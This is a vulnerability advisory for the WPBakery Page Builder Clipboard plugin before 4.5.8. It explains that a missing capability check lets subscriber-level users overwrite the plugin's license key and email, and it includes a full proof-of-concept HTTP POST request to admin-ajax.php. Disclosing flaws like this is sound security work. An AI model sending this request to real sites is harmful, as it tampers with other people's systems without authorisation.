WordPress Plugin Vulnerabilities

WPBakery Page Builder Clipboard < 4.5.8 - Unauthorised Arbitrary License Options Update

Description

An AJAX action registered by the plugin did not have capability checks, allowing low privilege users, such as subscribers, to update the license options (key, email).

Proof of Concept

When logged in as a user with Subcriber role or greater, submit a request to wp-admin/admin-ajax.php with action = "vc_clipboard_activate" and arbitrary data can be added to the sanitized "email" or "license_key" parameters.

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 58
Connection: close
Cookie: [Subscriber+ cookies]

action=vc_clipboard_activate&email=a&license_key=something